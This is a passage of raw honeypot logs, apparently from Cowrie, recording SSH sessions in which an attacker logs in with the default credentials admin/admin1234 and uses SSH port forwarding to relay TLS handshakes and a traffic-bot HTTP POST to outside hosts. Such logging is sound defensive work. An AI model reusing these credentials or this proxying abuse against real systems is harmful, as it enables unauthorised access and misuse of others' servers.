x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8#\\x00\\xba\\x9cM\"\\x85\\xac\\xfd}\\x17\\x99\\xa7\\xfad\\xf9r\\xe8_\\xb3\\xfe\\xc94\\xf8\\x92/\\xb8 \\xf8$t Y\\x0e\\x02U\\xeb\\x037\\xb2\\xf9\\xd7\\xe7\\x9a\\x14w\\x90\\xae\\x80\\xben\\x9ds%\\xe3t\\xdf\\t\\xa9\\xcd\\xa0\\x86d\\xfb\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 be\\x9b\\x0f\\xfd\\x11\\xf7 1\"\\x80\\xf3\\x9a\\xf6L\\xb2\\x0fV\\xe8\\xaaO \\x11\\x9f\\xe3\\xc7f\\xcaPm\\xc2_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.697963Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:40.178309Z","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36748,"dst_ip":"159.203.135.109","dst_port":22,"session":"798e69bd7c54","protocol":"ssh","message":"New connection: 91.92.40.36:36748 (159.203.135.109:22) [session: 798e69bd7c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:40.363133Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:40.425197Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe6\\x80\\x04\\xa5\\xc8;\\tz\\x13U@\\xa9+\\xed\\xe1\\x04\\xe1\\xf2`\"(\\xb4\\x848g\\x18\\xe1\\xab\\x13\\x07[: \\x13\\xba\\x12\\x89\\xe6\\x1c\\xa5\\xe8\\x04kM\\xa3\\xec\\x19\\x17\\xda\\x17\\x0b\\x85\\xf0\\xa8m4?\\xe9^)\\x9dW\\x08T]\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\x11\\x01\\xa7\\x1eP\\x9a\\x10I[<Br\\x83)\\xed\\xa0\\xe9\\'L\\xc4\\x8an+\\xea\\xcc\\xe0i\\xf7\\x13f@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe6\\x80\\x04\\xa5\\xc8;\\tz\\x13U@\\xa9+\\xed\\xe1\\x04\\xe1\\xf2`\"(\\xb4\\x848g\\x18\\xe1\\xab\\x13\\x07[: \\x13\\xba\\x12\\x89\\xe6\\x1c\\xa5\\xe8\\x04kM\\xa3\\xec\\x19\\x17\\xda\\x17\\x0b\\x85\\xf0\\xa8m4?\\xe9^)\\x9dW\\x08T]\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\x11\\x01\\xa7\\x1eP\\x9a\\x10I[<Br\\x83)\\xed\\xa0\\xe9\\'L\\xc4\\x8an+\\xea\\xcc\\xe0i\\xf7\\x13f@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:40.428086Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:40.459542Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:40.810525Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:40.868850Z","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:41.113721Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VjYvQ3k2SDh6cithYnRFRQ%3D%3D%2F7c7nOyQ%2BvhOAOo0a7r0xUAALmeiynUdnU2t%2BqT7UzwGfwnbr1GhzLWWaVXUoEprvtTPsqygs2UXOo62HWlHLpFkppwzGsSp%2FLEiT%2BRVZOYoSKK8fOrxB2EJ64UjUa56vxgbI8Rr4yluV17IwvW%2BrGh%2FWw%2FmqYnhLXi%2FGoydtlTod8w3mf8Je7LnYgCoSG0Bd3%2Fpj30%2Bl2yhO6A2SfBAOOE0DEa6raCHFzbZ9%2B%2B6YdSqkrlSnA%2FVyWq2vUYfIF6SUuFORunPAT4SO9%2FrzgX9O9a4ga0CVExl7IrWldVM44izEdZA7sYdNd8U6L3mIRc5%2F%2FgNozIYnc1b5nQNnbMqe2CqTldtRocDP0agYkdptZh6L%2BgaYNkqqjAJYb0cTzHT63tqS5LcwSsrkBYvkh1UskM2QwRR3HwwCvJJWqN1dCAgktQ8CBNYYdYmrPg3v8a5DsihhAaFjRiZDGksfTOji0JIMcVQTmEdkUVqwWm116%2B4uZY%2FZT4jDLc2TRuZr1BAvLmPdjmd7Zm%2FrEXFUrHVGYQtK%2Fqv7eqiqljhafwwhO5VV0r%2FJb2zMLKsO9YXZjyPL%2FM3k9iBOnTKZuNA%2F02Dxdr10UgFSz50Ox7YsukiNMRxpue%2FkZX35K8Mmj1AGdnINDUzVAQir9gOYzrE1vHBU5IPQsHRQpxH3C1gHGT9cxlytRCI%2BAd%2BMH9hYM6mciEqxNJIxn%2BP8p1md57njYqb16PDM8cjp6Kfuek6YThp3gqxMmgaRhI0y2Rm4tjrkjUgL3swhyOAsy6yvWuYWriwoT5tUoRQz7wur%2B67KgR3ZnRIFLTmk%2Fj8pJcD%2Fp4voHd590otkAySHA012PDA6Mfhldbf8W05WnUQ%2BuawLYQ%2FDVVu1nyc6Ka3Qxv4KpLeFu3gNH1vUWjgS%2BR5P1RFQywKiDy3YKsjGAMHTHQGSd8YgGG7Zoo6WGw5Z%2FykwEnv2ls7UF9pDmJ9Co5i9qe7W4ZrzM5G34L5jJLN2UqA4Upjh5Wcz37luTRoRQ8ld6OGaTYmv148F%2FRDsIkMspoNnzpP5CfMZWV1RxBIWqbIWoFZmbg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VjYvQ3k2SDh6cithYnRFRQ%3D%3D%2F7c7nOyQ%2BvhOAOo0a7r0xUAALmeiynUdnU2t%2BqT7UzwGfwnbr1GhzLWWaVXUoEprvtTPsqygs2UXOo62HWlHLpFkppwzGsSp%2FLEiT%2BRVZOYoSKK8fOrxB2EJ64UjUa56vxgbI8Rr4yluV17IwvW%2BrGh%2FWw%2FmqYnhLXi%2FGoydtlTod8w3mf8Je7LnYgCoSG0Bd3%2Fpj30%2Bl2yhO6A2SfBAOOE0DEa6raCHFzbZ9%2B%2B6YdSqkrlSnA%2FVyWq2vUYfIF6SUuFORunPAT4SO9%2FrzgX9O9a4ga0CVExl7IrWldVM44izEdZA7sYdNd8U6L3mIRc5%2F%2FgNozIYnc1b5nQNnbMqe2CqTldtRocDP0agYkdptZh6L%2BgaYNkqqjAJYb0cTzHT63tqS5LcwSsrkBYvkh1UskM2QwRR3HwwCvJJWqN1dCAgktQ8CBNYYdYmrPg3v8a5DsihhAaFjRiZDGksfTOji0JIMcVQTmEdkUVqwWm116%2B4uZY%2FZT4jDLc2TRuZr1BAvLmPdjmd7Zm%2FrEXFUrHVGYQtK%2Fqv7eqiqljhafwwhO5VV0r%2FJb2zMLKsO9YXZjyPL%2FM3k9iBOnTKZuNA%2F02Dxdr10UgFSz50Ox7YsukiNMRxpue%2FkZX35K8Mmj1AGdnINDUzVAQir9gOYzrE1vHBU5IPQsHRQpxH3C1gHGT9cxlytRCI%2BAd%2BMH9hYM6mciEqxNJIxn%2BP8p1md57njYqb16PDM8cjp6Kfuek6YThp3gqxMmgaRhI0y2Rm4tjrkjUgL3swhyOAsy6yvWuYWriwoT5tUoRQz7wur%2B67KgR3ZnRIFLTmk%2Fj8pJcD%2Fp4voHd590otkAySHA012PDA6Mfhldbf8W05WnUQ%2BuawLYQ%2FDVVu1nyc6Ka3Qxv4KpLeFu3gNH1vUWjgS%2BR5P1RFQywKiDy3YKsjGAMHTHQGSd8YgGG7Zoo6WGw5Z%2FykwEnv2ls7UF9pDmJ9Co5i9qe7W4ZrzM5G34L5jJLN2UqA4Upjh5Wcz37luTRoRQ8ld6OGaTYmv148F%2FRDsIkMspoNnzpP5CfMZWV1RxBIWqbIWoFZmbg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:41.117120Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:41.202176Z","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:41.604800Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xff+\\x0c&\\xaf\\xa8\\xd9)\\xae>\\x07L\\xea\\xd2\\xbc\\xaf^\\xfd\\xdc\\xa5\\x08Pqr\\r\\xcf\\x00\\xd4\\xe0L\\x80; \\x7fu7h\"@\\x19\\xbfRAa\\xa4`\\x0bJ26\\x19\\xf4\\x82\\x12B\\x90\\xf8\\xcd\\xc8xV\\\\\\x84\\x9c\\xfd\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11\\x12\\x08\\x94y1[\\x8ed}\\xc3\\x0e\\x0c3\\xda\\xa84\\x9b\\x02\\x89G\\xb2z\\x1a\\xfc\\x0c8\\xb5\\xb5\\xef\\xdc#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xff+\\x0c&\\xaf\\xa8\\xd9)\\xae>\\x07L\\xea\\xd2\\xbc\\xaf^\\xfd\\xdc\\xa5\\x08Pqr\\r\\xcf\\x00\\xd4\\xe0L\\x80; \\x7fu7h\"@\\x19\\xbfRAa\\xa4`\\x0bJ26\\x19\\xf4\\x82\\x12B\\x90\\xf8\\xcd\\xc8xV\\\\\\x84\\x9c\\xfd\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11\\x12\\x08\\x94y1[\\x8ed}\\xc3\\x0e\\x0c3\\xda\\xa84\\x9b\\x02\\x89G\\xb2z\\x1a\\xfc\\x0c8\\xb5\\xb5\\xef\\xdc#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestam